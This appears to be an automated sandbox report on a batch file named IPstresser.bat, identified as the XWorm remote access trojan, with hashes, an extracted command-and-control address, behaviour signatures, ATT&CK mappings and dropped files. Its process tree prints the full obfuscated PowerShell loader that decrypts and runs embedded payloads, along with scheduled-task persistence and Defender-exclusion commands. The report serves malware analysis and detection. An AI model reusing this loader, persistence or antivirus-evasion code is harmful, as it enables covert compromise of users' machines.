Analysis

  • max time kernel
    143s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28-04-2024 02:35

General

  • Target

    IPstresser.bat

  • Size

    104KB

  • MD5

    9961f5a480e3b1f40284111352e26ef9

  • SHA1

    d764ca52b356a0dddfa35fe99555be1b5cf2999c

  • SHA256

    239bafce9c2a8cffe424e4f48eee9bac08e09ab7423da9ae1e23e8ab27a5f4f4

  • SHA512

    7220340e6eeebaa2504d9c5d8f7c171ce10d794fb0c7712c54d6dac95a33b7699e482f891f52c12fdeb0caa055da6fc6e75fd76107b82ce77d8cbfd131762d1a

  • SSDEEP

    1536:7nOs1HXZcHbLD8V9u86pOzbpdYU3rKeNHcedVdzng6nFFKdEmgRUGONJtrA:rOsR+bkV9UpOzNd33uehRd7g6FFaqONc

Malware Config

Extracted

Family

xworm

C2

continue-silk.gl.at.ply.gg:58347

127.0.0.1:58347

Attributes
  • Install_directory

    %ProgramData%

  • install_file

    svchost.exe

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Blocklisted process makes network request 3 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 48 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\IPstresser.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4908
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hCf6wEcK+VHA277kHDCxrhG4+VY1PV/KhbMkrUPhFBY='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dc0yJ4420CXjo8i4RUcDRA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ZjaPX=New-Object System.IO.MemoryStream(,$param_var); $Abpwf=New-Object System.IO.MemoryStream; $yXrTn=New-Object System.IO.Compression.GZipStream($ZjaPX, [IO.Compression.CompressionMode]::Decompress); $yXrTn.CopyTo($Abpwf); $yXrTn.Dispose(); $ZjaPX.Dispose(); $Abpwf.Dispose(); $Abpwf.ToArray();}function execute_function($param_var,$param2_var){ $rXNyO=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $zgjXN=$rXNyO.EntryPoint; $zgjXN.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\IPstresser.bat';$SPurN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\IPstresser.bat').Split([Environment]::NewLine);foreach ($UwOBG in $SPurN) { if ($UwOBG.StartsWith(':: ')) { $fRHEc=$UwOBG.Substring(3); break; }}$payloads_var=[string[]]$fRHEc.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4620
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_319_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_319.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4628
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_319.vbs"
        3⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:4256
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_319.bat" "
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1436
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hCf6wEcK+VHA277kHDCxrhG4+VY1PV/KhbMkrUPhFBY='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dc0yJ4420CXjo8i4RUcDRA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ZjaPX=New-Object System.IO.MemoryStream(,$param_var); $Abpwf=New-Object System.IO.MemoryStream; $yXrTn=New-Object System.IO.Compression.GZipStream($ZjaPX, [IO.Compression.CompressionMode]::Decompress); $yXrTn.CopyTo($Abpwf); $yXrTn.Dispose(); $ZjaPX.Dispose(); $Abpwf.Dispose(); $Abpwf.ToArray();}function execute_function($param_var,$param2_var){ $rXNyO=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $zgjXN=$rXNyO.EntryPoint; $zgjXN.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_319.bat';$SPurN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_319.bat').Split([Environment]::NewLine);foreach ($UwOBG in $SPurN) { if ($UwOBG.StartsWith(':: ')) { $fRHEc=$UwOBG.Substring(3); break; }}$payloads_var=[string[]]$fRHEc.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
            5⤵
            • Blocklisted process makes network request
            • Drops startup file
            • Adds Run key to start application
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:5084
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
              6⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:4904
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
              6⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:3784
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\svchost.exe'
              6⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:5076
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
              6⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:1600
            • C:\Windows\System32\schtasks.exe
              "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\ProgramData\svchost.exe"
              6⤵
              • Creates scheduled task(s)
              PID:1664
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3864 --field-trial-handle=3240,i,13319578961094268484,16557498665191861597,262144 --variations-seed-version /prefetch:8
    1⤵
      PID:1460
    • C:\ProgramData\svchost.exe
      C:\ProgramData\svchost.exe
      1⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      PID:4232
    • C:\Windows\system32\AUDIODG.EXE
      C:\Windows\system32\AUDIODG.EXE 0x2f4 0x4b0
      1⤵
        PID:464

      Network

      MITRE ATT&CK Matrix ATT&CK v13

      Execution

      Scheduled Task/Job

      1
      T1053

      Persistence

      Boot or Logon Autostart Execution

      1
      T1547

      Registry Run Keys / Startup Folder

      1
      T1547.001

      Scheduled Task/Job

      1
      T1053

      Privilege Escalation

      Boot or Logon Autostart Execution

      1
      T1547

      Registry Run Keys / Startup Folder

      1
      T1547.001

      Scheduled Task/Job

      1
      T1053

      Defense Evasion

      Modify Registry

      1
      T1112

      Discovery

      Query Registry

      2
      T1012

      System Information Discovery

      2
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\ProgramData\svchost.exe
        Filesize

        442KB

        MD5

        04029e121a0cfa5991749937dd22a1d9

        SHA1

        f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

        SHA256

        9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

        SHA512

        6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        Filesize

        3KB

        MD5

        661739d384d9dfd807a089721202900b

        SHA1

        5b2c5d6a7122b4ce849dc98e79a7713038feac55

        SHA256

        70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

        SHA512

        81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        Filesize

        1KB

        MD5

        773440cd6eb4e778c7d2115d1f231f75

        SHA1

        4b600aa41fcd267817961c95b104a0717c40e558

        SHA256

        64c178f2a2edc319c244fa885951e0425ad172e0c9c18d9773069fa13a44385c

        SHA512

        af0370eb22d7153b7b71a033f56bc08796a0be9a1aa0f479585e03e099a215114f6ac059cf588999f3be36d91bc38ec64b0695071292db8e324ee7bcd505ee35

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        Filesize

        944B

        MD5

        2e907f77659a6601fcc408274894da2e

        SHA1

        9f5b72abef1cd7145bf37547cdb1b9254b4efe9d

        SHA256

        385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233

        SHA512

        34fa0fff24f6550f55f828541aaefe5d75c86f8f0842d54b50065e9746f9662bb7209c74c9a9571540b9855bb3851f01db613190024e89b198d485bb5dc07721

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        Filesize

        944B

        MD5

        f0a41fc9c1123bb127e55ecc66c8f052

        SHA1

        57152411758fa3df2623cc8a4df6d9fea73652f8

        SHA256

        a4fe2be2c449e841f6a12d32114672b097fc1058b6f2971a03521220a0228745

        SHA512

        e3e967adac361ddcf8240cf641f3e77eacfefc61dec725b8ae12e6a94f7d2ebd937fb9eb3cd068a0b3d4306e163dc87773b322bc2dd8b7df93b8103d0e99a900

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        Filesize

        944B

        MD5

        3b444d3f0ddea49d84cc7b3972abe0e6

        SHA1

        0a896b3808e68d5d72c2655621f43b0b2c65ae02

        SHA256

        ab075b491d20c6f66c7bd40b57538c1cfdaab5aac4715bfe3bbc7f4745860a74

        SHA512

        eb0ab5d68472ec42de4c9b6d84306d7bca3874be1d0ac572030a070f21a698432418068e1a6006ff88480be8c8f54c769dee74b2def403f734109dba7261f36b

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qmxz5jic.jhc.ps1
        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Roaming\startup_str_319.bat
        Filesize

        104KB

        MD5

        9961f5a480e3b1f40284111352e26ef9

        SHA1

        d764ca52b356a0dddfa35fe99555be1b5cf2999c

        SHA256

        239bafce9c2a8cffe424e4f48eee9bac08e09ab7423da9ae1e23e8ab27a5f4f4

        SHA512

        7220340e6eeebaa2504d9c5d8f7c171ce10d794fb0c7712c54d6dac95a33b7699e482f891f52c12fdeb0caa055da6fc6e75fd76107b82ce77d8cbfd131762d1a

      • C:\Users\Admin\AppData\Roaming\startup_str_319.vbs
        Filesize

        115B

        MD5

        b1982a68569e26efe1183e98c3203f48

        SHA1

        d465ee5d9b35e9f2f2366e86f0cec04aa28024de

        SHA256

        1f6f201f5e262f58bfa0a79ad006d8b81e9843b34de18f24490f2add0ad6222d

        SHA512

        6b78fdbf1e920981d960822866bac270526cff69c4f04300700d6f93737586645458cea94ff29bddf5b00c32d997559bbf009b67738b74fd83a962f050858f90

      • memory/4232-109-0x00000280C59C0000-0x00000280C5A04000-memory.dmp
        Filesize

        272KB

      • memory/4232-110-0x00000280C5A90000-0x00000280C5B06000-memory.dmp
        Filesize

        472KB

      • memory/4620-6-0x0000025ED3F10000-0x0000025ED3F32000-memory.dmp
        Filesize

        136KB

      • memory/4620-14-0x0000025ED3D80000-0x0000025ED3D88000-memory.dmp
        Filesize

        32KB

      • memory/4620-10-0x00007FF9872D0000-0x00007FF987D91000-memory.dmp
        Filesize

        10.8MB

      • memory/4620-11-0x0000025ED3D90000-0x0000025ED3DA0000-memory.dmp
        Filesize

        64KB

      • memory/4620-12-0x0000025ED3D90000-0x0000025ED3DA0000-memory.dmp
        Filesize

        64KB

      • memory/4620-40-0x00007FF9872D0000-0x00007FF987D91000-memory.dmp
        Filesize

        10.8MB

      • memory/4620-13-0x0000025ED3D90000-0x0000025ED3DA0000-memory.dmp
        Filesize

        64KB

      • memory/4620-15-0x0000025ED4B10000-0x0000025ED4B26000-memory.dmp
        Filesize

        88KB

      • memory/4628-17-0x00007FF9872D0000-0x00007FF987D91000-memory.dmp
        Filesize

        10.8MB

      • memory/4628-19-0x0000028EE8E50000-0x0000028EE8E60000-memory.dmp
        Filesize

        64KB

      • memory/4628-31-0x00007FF9872D0000-0x00007FF987D91000-memory.dmp
        Filesize

        10.8MB

      • memory/4628-18-0x0000028EE8E50000-0x0000028EE8E60000-memory.dmp
        Filesize

        64KB

      • memory/5084-51-0x000001C09E6D0000-0x000001C09E6EC000-memory.dmp
        Filesize

        112KB

      • memory/5084-111-0x000001C0857E0000-0x000001C0857EC000-memory.dmp
        Filesize

        48KB